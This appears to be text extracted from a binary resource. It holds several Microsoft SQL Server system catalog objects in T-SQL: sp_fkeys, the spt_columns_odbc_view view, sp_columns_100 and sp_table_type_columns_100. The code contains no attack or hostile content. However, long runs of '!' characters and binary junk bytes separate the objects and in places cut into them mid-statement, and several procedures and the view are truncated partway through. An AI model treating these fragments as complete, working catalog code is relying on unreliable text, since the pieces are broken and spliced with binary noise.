		RAISERROR (15001, 11, -1, @article)
		return 1
	end

	declare @val varbinary(16), @len int, @ii int, @chunk int
	-- filter clause is in unicode, the length is a half of the number of bytes.
	select @val = textptr(filter_clause), @len = datalength(filter_clause)/2 from sysarticles where artid = @artid and pubid = @pubid
	select @ii = 0, @chunk = 255

	/* Get all the rows of an maxcol size */
	while @len > @chunk begin
		readtext sysarticles.filter_clause @val @ii @chunk
		select @ii = @ii + @chunk, @len = @len - @chunk
	end

	/* Get the last chunk */
	if (@len > 0)
		readtext sysarticles.filter_clause @val @ii @len
	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$0h`
,<7g;%:L0wC 8
create procedure sys.sp_fkeys
(
    @pktable_name        sysname = null,    -- Wildcard pattern matching IS NOT supported.
    @pktable_owner       sysname = null,    -- Wildcard pattern matching IS NOT supported.
    @pktable_qualifier   sysname = null,    -- Wildcard pattern matching IS NOT supported.
    @fktable_name        sysname = null,    -- Wildcard pattern matching IS NOT supported.
    @fktable_owner       sysname = null,    -- Wildcard pattern matching IS NOT supported.
    @fktable_qualifier   sysname = null     -- Wildcard pattern matching IS NOT supported.
)
as
    set nocount on

    declare @pktable_id             int
    declare @fktable_id             int

    -- select 'XXX starting parameter analysis'
    if (@pktable_name is null) and (@fktable_name is null)
    begin   -- If neither primary key nor foreign key table names given
        raiserror (15252,-1,-1)
        return
    end

    if @fktable_qualifier is not null
    begin
        if db_name() <> @fktable_qualifier
        begin   -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end

    if @pktable_qualifier is not null
    begin
        if db_name() <> @pktable_qualifier
        begin   -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end

    if @pktable_owner = ''
    begin   -- If empty owner name
        select @pktable_id = object_id(quotename(@pktable_name))
    end
    else
    begin
        select @pktable_id = object_id(isnull(quotename(@pktable_owner), '') + '.' + quotename(@pktable_name))
    end

    if @fktable_owner = ''
    begin   -- If empty owner name
        select @fktable_id = object_id(quotename(@fktable_name))
    end
    else
    begin
        select @fktable_id = object_id(isnull(quotename(@fktable_owner), '') + '.' + quotename(@fktable_name))
    end

    if @fktable_name is not null
    begin
        if @fktable_id is null
            select @fktable_id = 0  -- fk table name is provided, but there is no such object
    end

    if @pktable_name is not null
    begin
        if @pktable_id is null
            select @pktable_id = 0  -- pk table name is provided, but there is no such object

        select
            PKTABLE_QUALIFIER   = convert(sysname,db_name()),
            PKTABLE_OWNER       = convert(sysname,schema_name(o1.schema_id)),
            PKTABLE_NAME        = convert(sysname,o1.name),
            PKCOLUMN_NAME       = convert(sysname,c1.name),
            FKTABLE_QUALIFIER   = convert(sysname,db_name()),
            FKTABLE_OWNER       = convert(sysname,schema_name(o2.schema_id)),
            FKTABLE_NAME        = convert(sysname,o2.name),
            FKCOLUMN_NAME       = convert(sysname,c2.name),
            -- Force the column to be non-nullable (see SQL BU 325751)
            KEY_SEQ             = isnull(convert(smallint,k.constraint_column_id), sysconv(smallint,0)),
            UPDATE_RULE         = convert(smallint,
                                            case f.update_referential_action
                                            when 1 then 0
                                            when 0 then 1
                                            else f.update_referential_action
                                            end),
            DELETE_RULE         = convert(smallint,
                                            case f.delete_referential_action
                                            when 1 then 0
                                            when 0 then 1
                                            else f.delete_referential_action
                                            end),
            FK_NAME             = convert(sysname,object_name(f.object_id)),
            PK_NAME             = convert(sysname,i.name),
            DEFERRABILITY       = convert(smallint, 7)   -- SQL_NOT_DEFERRABLE
        from
            sys.objects o1,
            sys.objects o2,
            sys.columns c1,
            sys.columns c2,
            sys.foreign_keys f inner join
            sys.foreign_key_columns k on (k.constraint_object_id = f.object_id) inner join
            sys.indexes i on (f.referenced_object_id = i.object_id and f.key_index_id = i.index_id)
        where
            o1.object_id = f.referenced_object_id and
            (o1.object_id = @pktable_id) and
            o2.object_id = f.parent_object_id and
            (@fktable_id is null or o2.object_id = @fktable_id) and
            c1.object_id = f.referenced_object_id and
            c2.object_id = f.parent_object_id and
            c1.column_id = k.referenced_column_id and
            c2.column_id = k.parent_column_id
        order by 5, 6, 7, 9, 8
    end
    else
    begin
        select
            PKTABLE_QUALIFIER   = convert(sysname,db_name()),
            PKTABLE_OWNER       = convert(sysname,schema_name(o1.schema_id)),
            PKTABLE_NAME        = convert(sysname,o1.name),
            PKCOLUMN_NAME       = convert(sysname,c1.name),
            FKTABLE_QUALIFIER   = convert(sysname,db_name()),
            FKTABLE_OWNER       = convert(sysname,schema_name(o2.schema_id)),
            FKTABLE_NAME        = convert(sysname,o2.name),
            FKCOLUMN_NAME       = convert(sysname,c2.name),
            -- Force the column to be non-nullable (see SQL BU 325751)
            KEY_SEQ             = isnull(convert(smallint,k.constraint_column_id), sysconv(smallint,0)),
            UPDATE_RULE         = convert(smallint,
                                            case ObjectProperty(f.object_id, 'CnstIsUpdateCascade')
                                            when 1 then 0
                                            else        1
                                            end),
            DELETE_RULE         = convert(smallint,
                                            case ObjectProperty(f.object_id, 'CnstIsDeleteCascade')
                                            when 1 then 0
                                            else        1
                                            end),
            FK_NAME             = convert(sysname,object_name(f.object_id)),
            PK_NAME             = convert(sysname,i.name),
            DEFERRABILITY       = convert(smallint, 7)   -- SQL_NOT_DEFERRABLE
        from
            sys.objects o1,
            sys.objects o2,
            sys.columns c1,
            sys.columns c2,
            sys.foreign_keys f inner join
            sys.foreign_key_columns k on (k.constraint_object_id = f.object_id) inner join
            sys.indexes i on (f.referenced_object_id = i.object_id and f.key_index_id = i.index_id)
        where
            o1.object_id = f.referenced_object_id and
            (@pktable_id is null or o1.object_id = @pktable_id) and
            o2.object_id = f.parent_object_id and
            (o2.object_id = @fktable_id) and
            c1.object_id = f.referenced_object_id and
            c2.object_id = f.parent_object_id and
            c1.column_id = k.referenced_column_id and
            c2.column_id = k.parent_column_id
        order by 1, 2, 3, 9, 4
    end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(h4VXTv(H
create view sys.spt_columns_odbc_view
as
    select
    -- begin (for doing joins)
        OBJECT_ID           = o.object_id,
        SCHEMA_ID           = o.schema_id,
        ODBCVER             = d.ODBCVer,
    -- end (for doing joins)
        TABLE_QUALIFIER     = convert(sysname,DB_NAME()),
        TABLE_OWNER         = convert(sysname,schema_name(o.schema_id)),
        TABLE_NAME          = convert(sysname,o.name),
        COLUMN_NAME         = convert(sysname,c.name),
        DATA_TYPE           = d.DATA_TYPE,
        DATA_TYPE_90	    = convert(smallint, -- new date time types for downlevel client
                                case
                                when d.ss_dtype IN (40, 41, 42, 43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                    -9  -- SQL_WVARCHAR
                                when (d.ss_dtype = 240 and c.max_length = -1) then -- Large UDT => varbinary(max) for 9.0 Client
                                    -3
                                else 
                                    d.DATA_TYPE
                                end),
        DATA_TYPE_28        = convert(smallint, -- backward-compatible ODBC types
                                case
                                when (d.ss_dtype = 240) then -- CLR UDT
                                    -4
                                when (d.ss_dtype = 241) then -- XML
                                    -10
                                when (c.max_length = -1 and d.ss_dtype = 167) then -- varchar(max)
                                    -1
                                when (c.max_length = -1 and d.ss_dtype = 231) then -- nvarchar(max)
                                    -10
                                when (c.max_length = -1 and d.ss_dtype = 165) then -- varbinary(max)
                                    -4
                                when d.ss_dtype IN (40, 41, 42, 43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                     -9  -- SQL_WVARCHAR
                                else
                                    d.DATA_TYPE
                                end),
        TYPE_NAME           = convert(sysname,
                                case
                                when (t.system_type_id = 240 or t.user_type_id > 255) then -- CLR UDTs
                                    t.name
                                else
                                    d.TYPE_NAME collate catalog_default
                                end),
        TYPE_NAME_28        = convert(sysname,
                                case
                                when (t.system_type_id = 240 or t.user_type_id > 255) then -- CLR UDTs
                                    t.name
                                when (c.max_length = -1 and d.ss_dtype = 167) then -- varchar(max)
                                    N'text'
                                when (c.max_length = -1 and d.ss_dtype = 231) then -- nvarchar(max)
                                    N'ntext'
                                when (c.max_length = -1 and d.ss_dtype = 165) then -- varbinary(max)
                                    N'image'
                                else
                                    d.TYPE_NAME
                                end) collate catalog_default,
        "PRECISION"         = convert(int,
                                case
                                when d.DATA_TYPE in (6,7) then -- FLOAT/REAL
                                    d.data_precision
                                when c.max_length = -1 then
                                    0
                                else
                                    OdbcPrec(c.system_type_id,c.max_length,c.precision)
                                end),
        PRECISION_28        = convert(int,
                                case
                                when d.DATA_TYPE in (6,7) then -- FLOAT/REAL
                                    d.data_precision
                                when d.ss_dtype = 241 then -- XML
                                    1073741823
                                when (c.max_length = -1 and d.ss_dtype = 167) then -- varchar(max)
                                    2147483647
                                when (c.max_length = -1 and d.ss_dtype = 231) then -- nvarchar(max)
                                    1073741823
                                when (c.max_length = -1 and d.ss_dtype = 165) then -- varbinary(max)
                                    2147483647
                                when (c.max_length = -1 and d.ss_dtype = 240) then -- Large UDT => image for non-SNAC clients
                                    2147483647
                                else
                                    OdbcPrec(c.system_type_id,c.max_length,c.precision)
                                end),
        "LENGTH"            = convert(int,
                                case
                                when d.ss_dtype IN (108,106) then    -- decimal/numeric types
                                    OdbcPrec(c.system_type_id,c.max_length,c.precision)+2
                                when c.max_length = -1 then -- Large UDT => Unlimited Length like varbinary(max)
                                    0
                                when d.ss_dtype = 240 then -- Small UDT
                                    isnull(u.max_length, c.max_length)
                                else
                                    isnull(d.length, c.max_length)
                                end),
        LENGTH_90            = convert(int,
                                case
                                when d.ss_dtype IN (108,106) then    -- decimal/numeric types
                                    OdbcPrec(c.system_type_id,c.max_length,c.precision)+2
                                when d.ss_dtype = 240 then -- CLR UDTs
                                    isnull(u.max_length, c.max_length)
                                when c.max_length = -1 then
                                    0
                                when d.ss_dtype IN (40, 41, 42, 43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                    OdbcPrec(c.system_type_id,c.max_length,c.precision)*2
                                else
                                    isnull(d.length, c.max_length)
                                end),
        LENGTH_28           = convert(int,
                                case
                                when d.ss_dtype IN (108,106) then    -- decimal/numeric types
                                    OdbcPrec(c.system_type_id,c.max_length,c.precision)+2
                                when (c.max_length = -1 and d.ss_dtype = 240) then -- Large UDT => image for non-SNAC clients
                                    2147483647
                                when d.ss_dtype = 240 then -- Small UDT
                                    isnull(u.max_length, c.max_length)
                                when d.ss_dtype = 241 then -- XML
                                    2147483646
                                when (c.max_length = -1 and d.ss_dtype = 167) then -- varchar(max)
                                    2147483647
                                when (c.max_length = -1 and d.ss_dtype = 231) then -- nvarchar(max)
                                    2147483646
                                when (c.max_length = -1 and d.ss_dtype = 165) then -- varbinary(max)
                                    2147483647
                                when d.ss_dtype IN (40, 41, 42, 43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                    OdbcPrec(c.system_type_id,c.max_length,c.precision)*2
                                else
                                    isnull(d.length, c.max_length)
        !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(i4Bzv(H                        end),
        SCALE               = convert(smallint, OdbcScale(c.system_type_id,c.scale)),
        SCALE_90            = convert(smallint,
                                case
                                when d.ss_dtype IN (40, 41, 42, 43) then  -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                    null
                                else
                                    OdbcScale(c.system_type_id,c.scale)
                                end),
        RADIX               = d.RADIX,
        NULLABLE            = convert(smallint, ColumnProperty (c.object_id, c.name, 'AllowsNull')),
        REMARKS             = convert(varchar(254),null),   -- Remarks are NULL
        COLUMN_DEF          = convert(nvarchar(4000), object_definition(ColumnProperty(c.object_id, c.name, 'default'))),
        SQL_DATA_TYPE       = d.SQL_DATA_TYPE,
        SQL_DATA_TYPE_90    = convert(smallint,
                                case
                                when d.ss_dtype IN (40, 41, 42, 43) then  -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                     -9  -- SQL_WVARCHAR
                                when (d.ss_dtype = 240 and c.max_length = -1) then -- Large UDT => varbinary(max) for 9.0 clients
                                    -3
                                else
                                    d.SQL_DATA_TYPE
                                end),
        SQL_DATA_TYPE_28    = convert(smallint, -- backward-compatible ODBC types
                                case
                                when (d.ss_dtype = 240) then -- CLR UDT
                                    -4
                                when (d.ss_dtype = 241) then -- XML
                                    -10
                                when (c.max_length = -1 and d.ss_dtype = 167) then -- varchar(max)
                                    -1
                                when (c.max_length = -1 and d.ss_dtype = 231) then -- nvarchar(max)
                                    -10
                                when (c.max_length = -1 and d.ss_dtype = 165) then -- varbinary(max)
                                    -4
                                when d.ss_dtype IN (40, 41, 42, 43) then  -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                     -9  -- SQL_WVARCHAR
                                else
                                    d.SQL_DATA_TYPE
                                end),
        SQL_DATETIME_SUB    = d.SQL_DATETIME_SUB,
        SQL_DATETIME_SUB_90	= convert(smallint,
                                case
                                when d.ss_dtype IN (40, 41, 42, 43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                    null
                                else
                                    d.SQL_DATETIME_SUB
                                end),
        CHAR_OCTET_LENGTH   = convert(int,
                                case
                                when c.max_length = -1 then -- Large UDT => Unlimited length like varbinary(max) 
                                    0
                                when d.ss_dtype = 240 then -- Small UDT
                                    isnull(u.max_length, c.max_length)
                                else
                                    isnull(d.length, c.max_length)+d.charbin
                                end),
        CHAR_OCTET_LENGTH_28= convert(int,
                                case
                                when (c.max_length = -1 and d.ss_dtype = 240) then -- Large UDT => image for non-SNAC clients
                                    2147483647
                                when d.ss_dtype = 240 then -- Small UDT
                                    isnull(u.max_length, c.max_length)
                                when d.ss_dtype = 241 then -- XML
                                    2147483646
                                when (c.max_length = -1 and d.ss_dtype = 167) then -- varchar(max)
                                    2147483647
                                when (c.max_length = -1 and d.ss_dtype = 231) then -- nvarchar(max)
                                    2147483646
                                when (c.max_length = -1 and d.ss_dtype = 165) then -- varbinary(max)
                                    2147483647
                                else
                                    isnull(d.length, c.max_length)+d.charbin
                                end),
        ORDINAL_POSITION    = convert(int, ColumnProperty(c.object_id, c.name, 'ordinal')),
        IS_NULLABLE         = convert(varchar(254),
                                      rtrim(substring('NO YES',(ColumnProperty (c.object_id, c.name, 'AllowsNull')*3)+1,3))),
        SS_IS_SPARSE        = convert ( smallint, c.is_sparse ),
        SS_IS_COLUMN_SET    = convert ( smallint, c.is_column_set ),
        SS_IS_COMPUTED      = convert(smallint,c.is_computed),
        SS_IS_IDENTITY      = convert(smallint,c.is_identity),
        SS_UDT_CATALOG_NAME = convert(sysname,
                                case
                                when d.ss_dtype = 240 then -- CLR UDTs
                                    db_name()
                                else
                                    null
                                end),
        SS_UDT_SCHEMA_NAME  = convert(sysname,
                                case
                                when d.ss_dtype = 240 then -- CLR UDTs
                                    schema_name(u.schema_id)
                                else
                                    null
                                end),
        SS_UDT_ASSEMBLY_TYPE_NAME    = u.assembly_qualified_name,
        SS_XML_SCHEMACOLLECTION_CATALOG_NAME = convert(sysname,
                                case
                                when (d.ss_dtype = 241 and xsc.name is not null) then -- XML
                                    db_name()
                                else
                                    null
                                end),
        SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = convert(sysname,
                                case
                                when (d.ss_dtype = 241 and xsc.name is not null) then -- XML
                                    schema_name(xsc.schema_id)
                                else
                                    null
                                end),
        SS_XML_SCHEMACOLLECTION_NAME = xsc.name,
        -- Info here is for backward compatibility - SQL 6.5
        SS_DATA_TYPE        = convert(tinyint,
                                case
                                when d.ss_dtype = 240 then -- CLR UDTs
                                    23
                                else
                                    XTypeToTds(c.system_type_id, c.is_nullable)
                                end),
        -- Used to filter by callers of the view
        OBJECT_TYPE         = o.type

    from
        sys.all_columns c inner join
        sys.all_objects o on
            (
                o.object_id = c.object_id and
                o.type in ('S','U','V', 'TF', 'IF', 'TT')  -- limit columns to tables, views, table-valued functions, and table types only
            ) inner join
        sys.types t on
            (
                t.user_type_id = c.user_type_id
            ) inner join
        sys.spt_datatype_info d on
            (
                d.ss_dtype = c.system_type_id and
                d.AUTO_INCREMENT = c.is_identity
            )
        left join
        sys.xml_schema_collections xsc on
            (
                xsc.xml_collection_id = c.xml_collection_id
            )
        left join
        sys.assembly_types u on
            (
                u.user_type_id = c.user_type_id
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(j5	FwvJ
create procedure sys.sp_columns_100
(
    @table_name         nvarchar(384),
    @table_owner        nvarchar(384) = null,
    @table_qualifier    sysname = null,
    @column_name        nvarchar(384) = null,
    @NameScope          int = 0,
    @ODBCVer            int = 2,
    @fUsePattern        bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    declare @full_table_name    nvarchar(769) -- 384 + 1 + 384
    declare @table_id           int

    if (@ODBCVer is null) or (@ODBCVer <> 3)
        select @ODBCVer = 2

    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin   -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end

    -- "ALL" is represented by NULL value.
    if @table_name = '%'
        select @table_name = null
    if @table_owner = '%'
        select @table_owner = null
    if @table_qualifier = '%'
        select @table_qualifier = null
    if @column_name = '%'
        select @column_name = null

    -- Empty string means nothing, so use invalid identifier.
    -- A quoted space will never match any object name.
    if @table_owner = ''
        select @table_owner = ' '

    select @full_table_name = isnull(quotename(@table_owner), '') + '.' + isnull(quotename(@table_name), '')
    select @table_id = object_id(@full_table_name)

    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @full_table_name),0) = 0) and
            (isnull(charindex('_', @full_table_name),0) = 0) and
            (isnull(charindex('[', @table_name),0) = 0) and
            (isnull(charindex('[', @table_owner),0) = 0) and
            (isnull(charindex('%', @column_name),0) = 0) and
            (isnull(charindex('_', @column_name),0) = 0) and
            (@table_id <> 0))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print @fUsePattern
        print isnull(convert(sysname, @table_id), '@table_id = null')
        print isnull(@full_table_name, '@full_table_name = null')
        print isnull(@table_owner, '@table_owner = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@column_name, '@column_name = null')
        print '*************'
        */
        select
            TABLE_QUALIFIER             = s_cov.TABLE_QUALIFIER,
            TABLE_OWNER                 = s_cov.TABLE_OWNER,
            TABLE_NAME                  = s_cov.TABLE_NAME,
            COLUMN_NAME                 = s_cov.COLUMN_NAME,
            DATA_TYPE                   = s_cov.DATA_TYPE,
            TYPE_NAME                   = s_cov.TYPE_NAME,
            "PRECISION"                 = s_cov.PRECISION,
            "LENGTH"                    = s_cov.LENGTH,
            SCALE                       = s_cov.SCALE,
            RADIX                       = s_cov.RADIX,
            NULLABLE                    = s_cov.NULLABLE,
            REMARKS                     = s_cov.REMARKS,
            COLUMN_DEF                  = s_cov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_cov.SQL_DATA_TYPE,
            SQL_DATETIME_SUB            = s_cov.SQL_DATETIME_SUB,
            CHAR_OCTET_LENGTH           = s_cov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_cov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_cov.IS_NULLABLE,
            SS_IS_SPARSE                = s_cov.SS_IS_SPARSE,
            SS_IS_COLUMN_SET            = s_cov.SS_IS_COLUMN_SET,
            SS_IS_COMPUTED              = s_cov.SS_IS_COMPUTED,
            SS_IS_IDENTITY              = s_cov.SS_IS_IDENTITY,
            SS_UDT_CATALOG_NAME         = s_cov.SS_UDT_CATALOG_NAME,
            SS_UDT_SCHEMA_NAME          = s_cov.SS_UDT_SCHEMA_NAME,
            SS_UDT_ASSEMBLY_TYPE_NAME   = s_cov.SS_UDT_ASSEMBLY_TYPE_NAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME    = s_cov.SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME     = s_cov.SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
            SS_XML_SCHEMACOLLECTION_NAME            = s_cov.SS_XML_SCHEMACOLLECTION_NAME,
            SS_DATA_TYPE                = s_cov.SS_DATA_TYPE

        from
            sys.spt_columns_odbc_view s_cov

        where
            s_cov.object_id = @table_id -- (2nd) (@table_name is null or o.name like @table_name)
            -- (2nd) and (@table_owner is null or schema_name(o.schema_id) like @table_owner)
            and (@column_name is null or s_cov.COLUMN_NAME = @column_name) -- (2nd)             and (@column_name is NULL or c.name like @column_name)
            and s_cov.ODBCVER = @ODBCVer
            and s_cov.OBJECT_TYPE <> 'TT'
            and
            ( 
                @NameScope = 0 AND 
                (
                    ( s_cov.SS_IS_SPARSE = 0 OR objectproperty ( s_cov.OBJECT_ID, 'tablehascolumnset' ) = 0 ) 
                ) or   
                @NameScope = 2 or 
                @NameScope = 3 AND s_cov.SS_IS_SPARSE = 1 AND objectproperty ( s_cov.OBJECT_ID, 'tablehascolumnset' ) = 1
            )

        order by 17
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print @fUsePattern
        print isnull(convert(sysname, @table_id), '@table_id = null')
        print isnull(@full_table_name, '@full_table_name = null')
        print isnull(@table_owner, '@table_owner = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@column_name, '@column_name = null')
        print '*************'
        */
        select
            TABLE_QUALIFIER             = s_cov.TABLE_QUALIFIER,
            TABLE_OWNER                 = s_cov.TABLE_OWNER,
            TABLE_NAME                  = s_cov.TABLE_NAME,
            COLUMN_NAME                 = s_cov.COLUMN_NAME,
            DATA_TYPE                   = s_cov.DATA_TYPE,
            TYPE_NAME                   = s_cov.TYPE_NAME,
            "PRECISION"                 = s_cov.PRECISION,
            "LENGTH"                    = s_cov.LENGTH,
            SCALE                       = s_cov.SCALE,
            RADIX                       = s_cov.RADIX,
            NULLABLE                    = s_cov.NULLABLE,
            REMARKS                     = s_cov.REMARKS,
            COLUMN_DEF                  = s_cov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_cov.SQL_DATA_TYPE,
            SQL_DATETIME_SUB            = s_cov.SQL_DATETIME_SUB,
            CHAR_OCTET_LENGTH           = s_cov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_cov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_cov.IS_NULLABLE,
            SS_IS_SPARSE                = s_cov.SS_IS_SPARSE,
            SS_IS_COLUMN_SET            = s_cov.SS_IS_COLUMN_SET,
            SS_IS_COMPUTED              = s_cov.SS_IS_COMPUTED,
            SS_IS_IDENTITY              = s_cov.SS_IS_IDENTITY,
            SS_UDT_CATALOG_NAME         = s_cov.SS_UDT_CATALOG_NAME,
            SS_UDT_SCHEMA_NAME          = s_cov.SS_UDT_SCHEMA_NAME,
            SS_UDT_ASSEMBLY_TYPE_NAME   = s_cov.SS_UDT_ASSEMBLY_TYPE_NAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME    = s_cov.SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME     = s_cov.SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
            SS_XML_SCHEMACOLLECTION_NAME            = s_cov.SS_XML_SCHEMACOLLECTION_NAME,
            SS_DATA_TYPE                = s_cov.SS_DATA_TYPE

        from
            sys.spt_columns_odbc_view s_cov

        where
            s!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(k5*/vP
create procedure sys.sp_table_type_columns_100
(
    @table_name         nvarchar(384),
    @table_owner        nvarchar(384) = null,
    @table_qualifier    sysname = null,
    @column_name        nvarchar(384) = null,
    @ODBCVer            int = 2,
    @fUsePattern        bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    declare @full_table_name    nvarchar(769) -- 384 + 1 + 384
    declare @table_id           int

    if (@ODBCVer is null) or (@ODBCVer <> 3)
        select @ODBCVer = 2

    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin   -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end

    -- "ALL" is represented by NULL value.
    if @table_name = '%'
        select @table_name = null
    if @table_owner = '%'
        select @table_owner = null
    if @table_qualifier = '%'
        select @table_qualifier = null
    if @column_name = '%'
        select @column_name = null

    -- Empty string means nothing, so use invalid identifier.
    -- A quoted space will never match any object name.
    if @table_owner = ''
        select @table_owner = ' '

    select @full_table_name = isnull(quotename(@table_owner), '') + '.' + isnull(quotename(@table_name), '')
    select @table_id = tt.type_table_object_id
       from sys.table_types tt
       where tt.name = @table_name
         and schema_name(tt.schema_id) = @table_owner

    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @full_table_name),0) = 0) and
            (isnull(charindex('_', @full_table_name),0) = 0) and
            (isnull(charindex('[', @table_name),0) = 0) and
            (isnull(charindex('[', @table_owner),0) = 0) and
            (isnull(charindex('%', @column_name),0) = 0) and
            (isnull(charindex('_', @column_name),0) = 0) and
            (@table_id <> 0))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print @fUsePattern
        print isnull(convert(sysname, @table_id), '@table_id = null')
        print isnull(@full_table_name, '@full_table_name = null')
        print isnull(@table_owner, '@table_owner = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@column_name, '@column_name = null')
        print '*************'
        */
        select
            TABLE_QUALIFIER             = s_cov.TABLE_QUALIFIER,
            TABLE_OWNER                 = convert(sysname,schema_name(tt.schema_id)),
            TABLE_NAME                  = convert(sysname,tt.name),
            COLUMN_NAME                 = s_cov.COLUMN_NAME,
            DATA_TYPE                   = s_cov.DATA_TYPE,
            TYPE_NAME                   = s_cov.TYPE_NAME,
            "PRECISION"                 = s_cov.PRECISION,
            "LENGTH"                    = s_cov.LENGTH,
            SCALE                       = s_cov.SCALE,
            RADIX                       = s_cov.RADIX,
            NULLABLE                    = s_cov.NULLABLE,
            REMARKS                     = s_cov.REMARKS,
            COLUMN_DEF                  = s_cov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_cov.SQL_DATA_TYPE,
            SQL_DATETIME_SUB            = s_cov.SQL_DATETIME_SUB,
            CHAR_OCTET_LENGTH           = s_cov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_cov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_cov.IS_NULLABLE,
            SS_IS_SPARSE                = convert(smallint, 0),
            SS_IS_COLUMN_SET            = convert(smallint, 0),
            SS_IS_COMPUTED              = s_cov.SS_IS_COMPUTED,
            SS_IS_IDENTITY              = s_cov.SS_IS_IDENTITY,
            SS_UDT_CATALOG_NAME         = s_cov.SS_UDT_CATALOG_NAME,
            SS_UDT_SCHEMA_NAME          = s_cov.SS_UDT_SCHEMA_NAME,
            SS_UDT_ASSEMBLY_TYPE_NAME   = s_cov.SS_UDT_ASSEMBLY_TYPE_NAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME    = s_cov.SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME     = s_cov.SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
            SS_XML_SCHEMACOLLECTION_NAME            = s_cov.SS_XML_SCHEMACOLLECTION_NAME,
            SS_DATA_TYPE                = s_cov.SS_DATA_TYPE

        from
            sys.spt_columns_odbc_view s_cov inner join
            sys.table_types tt on
               (
                  s_cov.object_id = tt.type_table_object_id
               )

        where
            s_cov.object_id = @table_id
            and (@column_name is null or s_cov.COLUMN_NAME = @column_name)
            and s_cov.ODBCVER = @ODBCVer
        order by 17
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print @fUsePattern
        print isnull(convert(sysname, @table_id), '@table_id = null')
